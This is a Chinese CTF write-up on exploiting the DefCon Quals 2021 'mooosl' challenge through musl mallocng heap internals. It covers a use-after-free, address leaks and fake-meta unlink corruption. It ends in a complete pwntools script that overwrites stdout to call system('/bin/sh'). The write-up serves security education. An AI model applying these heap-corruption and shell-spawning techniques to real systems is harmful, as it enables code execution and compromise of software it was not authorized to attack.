借助DefCon Quals 2021的mooosl学习musl mallocng(漏洞利用篇)

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发布时间 : 2021-06-04 14:30:21

 

上篇我们大致过了一遍musl libc 1.2.2的mallocng源码,了解到musl堆管理器用以下的结构管理着meta、group以及chunk。本篇我们继续来分析mooosl这道题的解题思路。

 

静态分析

保护全开

程序主要提供了storequerydelete这几个功能,下面逐个功能进行分析

sotre,申请0x30的chunk,用于存放key、value以及对应的size,另外还会算出hash和prev_hash_map(保存着hash_map先前在该处的指针)

set_key和set_value,比较类似,根据输入的size去申请chunk,然后填入key和value,所以store方法一共会申请3个chunk

get_hash,返回一个hash值,返回后只取低12位,根据这个hash得到hash_map[hash&0xfff],先将hash_map[hash&0xfff]原有的值保存在prev_hash_map,然后将0x30 chunk的地址存入hash_map[hash&0xfff]

query,查询功能,根据输入的key,找到对应的value并以hex字符串形式输出。注意到这里调了set_key,会先申请chunk用于存放key,最后再free掉。

查找过程是遍历hash_map找到对应key,如果prev_hash_map不为零,则会打印出prev_hash_map的数据

delete,删除功能,如果从hash_map中找到对应的key,则会从free掉对应的3个chunk,最后再free掉调set_key时产生的chunk。另外,如果prev_hash_map不为0,则会将hash_map[hash&0xfff]置为prev_hash_map后再free掉prev_hash_map所指向的chunk。

很明显,如果hash_map[hash&0xfff]的原有的值为0,则delete后会将hash_map[hash&0xfff]清0,可通过连续store两次相同hash去绕过。而且,在上一篇文章中我们了解到musl libc在free掉一个chunk时不会讲user data域置。所以,当绕过了*v2 = (struct_v1 *)ptr->prev_hash_map之后,就相当于有了一个uaf漏洞。

 

Leak libc

知道了musl堆的重分配机制,泄露内存地址的思路就比较清晰了

group对chunk的管理策略:
1.chunk按照内存先后,依次分配;
2.free掉的chunk不能马上分配;
3.需要等group内所有chunk都处于freed或者used状态时,才会将freed状态的chunk转换成avaliable;
4.分配chunk时,会将user data域用\x00初始化。

采取的堆风水策略
1.先store一次垫着group header防止free掉group所有chunk时,将整个group内存归还给堆管理器;
2.除最后一个与第一个chunk,其余全部free掉;
3.申请一个\n struct chunk(这个chunk存放着key value指针),这时候key chunk和value chunk便会落在struct chunk的内存之前,value chunk与struct chunk相同size;
4.free掉struct chunk,然后再free掉group内除第一个的所有chunk,再申请一个struct chunk(key value chunk size不为0x30)
5.这时,这个struct chunk便落在\n struct chunk的value chunk域内,通过query(‘\n’)便可打印出内存信息。

###Info Leak
store('A', 'A')#AAAAAAU

#clear for reusing freed chunks
for _ in range(5):
    query('A' * 0x30)#AFFFFFU

store('\n', 'A' * 0x30)#UAAAAAU -> UAAAA[U]U #0x4040+0x7e5*8 = 0x7f68   []就是要控的chunk
store(find_key(), 'A')#UAAAU[U]U
delete('\n')#FAAAU[F]U

#clear for reusing freed chunks
for _ in range(3):
    query('A' * 0x30)#FFFFU[F]U

store('A\n', 'A', 0x1200)#FFFFU[U]U 现在[U] chunk存放了key_ptr与value_ptr
query('\n')

继续利用该策略将libc基地址等内存信息leak出来

 

从musl unlink到FSOP

利用meta dequeue方法的unlink漏洞可以达到任意写的效果

注意到nontrivial_free方法,当g->freed_mask | g->avail_mask为0时,也就是当所有块都在使用中,这时可以引入next meta和group进行块处理。也就是可以引用fake meta,并通过其返回任意地址。

构造一个fake meta,数据结构需要符合get_meta方法

# Overwrite stdout-0x10 to fake_meta_addr using dequeue during free
sc = 8 # 0x90
freeable = 1
last_idx = 0
maplen = 1
fake_meta = b''
fake_meta += p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

fake_mem = b''
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b''
payload += b'A' * 0xaa0
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b'\n'`

如上,将fake mem放置在fake meta相邻位置,提前布置好avail_mask、freed_mask、last_idx等结构。另外,还需要页对齐,并且页首8个byte需要布置一个page secret数据,绕过meta的check。

unlink,在&(stdout-0x18)->prev = &(stdout-0x10)处写入fake_mem的地址

通过queue方法令fake meta进入ctx.active列表

sc=0x8的group已经由fake meta进行管理

现在可以随意修改fake_meta的fake_mem,令其指向stdout-0x10

申请size 0x80的chunk,便会将stdout-0x10分配回来。然后覆盖stdout->write函数指针为system,在stdout->flags写入/bin/sh\x00,并且保证stdin->wpos != stdin->wbase

getshell~

 

Script

完整EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import codecs

context.terminal = ['terminator', '--new-tab', '-x']
#context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch = 'amd64'

DEBUG = 1
TARGET = './mooosl'
LIBCSO = './libc.so'
#LIBCSO = '/lib/x86_64-linux-musl/libc.so'
#LIBCSO = './libc.so'
#LIBCSO = '/mnt/hgfs/sharefd/envs/musl/1.2.2/local.x64/lib/x86_64-linux-musl/libc.so'
MODULE = LIBCSO
GLOBAL = '''
mcinit -a 1.2.2
b dequeue
b queue
p __malloc_context
'''

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 0:
    p = process(TARGET)
    text_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, TARGET.split('/')[-1])).readlines()[1], 16)
    libs_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, MODULE.split('/')[-1])).readlines()[0],16)
elif DEBUG == 1:
    p = process(TARGET, env={'LD_PRELOAD' : './libc.so.6'})
    text_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, TARGET.split('/')[-1])).readlines()[1], 16)
    libs_base = int(os.popen("pmap {} | grep {} | awk '{{print $1}}'".format(p.pid, MODULE.split('/')[-1])).readlines()[0],16)
elif DEBUG == 2:
    p = remote('mooosl.challengep.ooo', 23333)
elif DEBUG == 3:
    r = ssh(host=host, user='username', password='passwd')
    p = r.shell()

elf = ELF(TARGET)
libc = ELF(LIBCSO)

def debug(addr = 0):
    if addr != 0:
        gdb.attach(p, 'b *{}{}'.format(hex(addr), GLOBAL))
    else:
        gdb.attach(p, '{}'.format(GLOBAL))

def store(key_content, value_content, key_size=None, value_size=None, wait=True):
    p.sendlineafter('option: ', '1')
    if key_size is None:
        key_size = len(key_content)
    p.sendlineafter('size: ', str(key_size))
    p.sendafter('content: ', key_content)
    if value_size is None:
        value_size = len(value_content)
    p.sendlineafter('size: ', str(value_size))
    if wait:
        p.recvuntil('content: ')
    p.send(value_content)

def query(key_content, key_size=None, wait=True):
    p.sendlineafter('option: ', '2')
    if key_size is None:
        key_size = len(key_content)
    p.sendlineafter('size: ', str(key_size))
    if wait:
        p.recvuntil('content: ')
    p.send(key_content)

def delete(key_content, key_size=None):
    p.sendlineafter('option: ', '3')
    if key_size is None:
        key_size = len(key_content)
    p.sendlineafter('size: ', str(key_size))
    p.sendafter('content: ', key_content)

def get_hash(content):
    x = 0x7e5
    for c in content:
        x = ord(c) + x * 0x13377331
    return x & 0xfff

def find_key(length=0x10, h=0x7e5):
    while True:
        x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
        if get_hash(x) == h:
            return x

def pwn():
    info("pwnit!")
    ###Info Leak
    store('A', 'A')#AAAAAAU

    #clear for reusing freed chunks
    for _ in range(5):
        query('A' * 0x30)#AFFFFFU

    store('\n', 'A' * 0x30)#UAAAAAU -> UAAAA[U]U #0x4040+0x7e5*8 = 0x7f68   []就是要控的chunk
    store(find_key(), 'A')#UAAAU[U]U
    delete('\n')#FAAAU[F]U

    #clear for reusing freed chunks
    for _ in range(3):
        query('A' * 0x30)#FFFFU[F]U

    store('A\n', 'A', 0x1200)#FFFFU[U]U 现在[U] chunk存放了key_ptr与value_ptr
    query('\n')

    res = codecs.decode(p.rl(False).split(b':')[1], 'hex')
    mmap_base = u64(res[:8]) - 0x20
    chunk_addr = u64(res[8:0x10])

    for _ in range(3):
        query('A' * 0x30)
    query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
    query('\n')
    heap_base = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8]) - 0x1d0

    for _ in range(3):
        query('A' * 0x30)
    query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0))
    query('\n')
    libc.address = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8]) - 0xb7040

    for _ in range(3):
        query('A' * 0x30)
    query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
    query('\n')
    assert codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0'

    for _ in range(3):
        query('A' * 0x30)
    query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
    query('\n')
    secret = u64(codecs.decode(p.rl(False).split(b':')[1], 'hex')[:8])

    log.info('mmap base: %#x' % mmap_base)
    log.info('chunk address: %#x' % chunk_addr)
    log.info('heap base: %#x' % heap_base)
    log.info('libc base: %#x' % libc.address)
    log.info('secret: %#x' % secret)

    fake_meta_addr = mmap_base + 0x2010
    fake_mem_addr = mmap_base + 0x2040
    stdout = libc.address + 0xb4280  
    log.info('fake_meta_addr: %#x' % fake_meta_addr)
    log.info('fake_mem_addr: %#x' % fake_mem_addr)
    log.info('stdout: %#x' % stdout)

    # Overwrite stdout-0x10 to fake_meta_addr using dequeue during free
    sc = 8 # 0x90
    freeable = 1
    last_idx = 0
    maplen = 1
    fake_meta = b''
    fake_meta += p64(stdout - 0x18) # prev
    fake_meta += p64(fake_meta_addr + 0x30) # next
    fake_meta += p64(fake_mem_addr) # mem
    fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
    fake_meta += p64(0)

    fake_mem = b''
    fake_mem += p64(fake_meta_addr) # meta
    fake_mem += p32(1) # active_idx
    fake_mem += p32(0)

    payload = b''
    payload += b'A' * 0xaa0
    payload += p64(secret) + p64(0)
    payload += fake_meta
    payload += fake_mem
    payload += b'\n'

    for _ in range(2):
        query('A' * 0x30)
    query(payload, 0x1200)
    store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
    delete('\n')

    # Create a fake bin using enqueue during free
    sc = 8 # 0x90
    last_idx = 1
    fake_meta = b''
    fake_meta += p64(0) # prev
    fake_meta += p64(0) # next
    fake_meta += p64(fake_mem_addr) # mem
    fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
    fake_meta += p64((sc << 6) | last_idx)
    fake_meta += p64(0)

    fake_mem = b''
    fake_mem += p64(fake_meta_addr) # meta
    fake_mem += p32(1) # active_idx
    fake_mem += p32(0)

    payload = b''
    payload += b'A' * 0xa90
    payload += p64(secret) + p64(0)
    payload += fake_meta
    payload += fake_mem
    payload += b'\n'

    query('A' * 0x30)
    query(payload, 0x1200)
    store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
    delete('\n')

    # Overwrite the fake bin so that it points to stdout
    fake_meta = b''
    fake_meta += p64(fake_meta_addr) # prev
    fake_meta += p64(fake_meta_addr) # next
    fake_meta += p64(stdout - 0x10) # mem
    fake_meta += p32(1) + p32(0) # avail_mask, freed_mask
    fake_meta += p64((sc << 6) | last_idx)
    fake_meta += b'A' * 0x18
    fake_meta += p64(stdout - 0x10)

    payload = b''
    payload += b'A' * 0xa80
    payload += p64(secret) + p64(0)
    payload += fake_meta
    payload += b'\n'
    query(payload, 0x1200)

    # Call calloc(0x80) which returns stdout and call system("/bin/sh") by overwriting vtable
    payload = b''
    payload += b'/bin/sh\0'
    payload += b'A' * 0x20
    payload += p64(heap_base + 1)
    payload += b'A' * 8
    payload += p64(heap_base)
    payload += b'A' * 8
    payload += p64(libc.symbols['system'])
    payload += b'A' * 0x3c
    payload += p32((1<<32)-1)
    payload += b'\n'
    store('A', payload, value_size=0x80, wait=False)
    #debug()

    p.irt()

if __name__ == "__main__":
    pwn()

本文由sung3r原创发布

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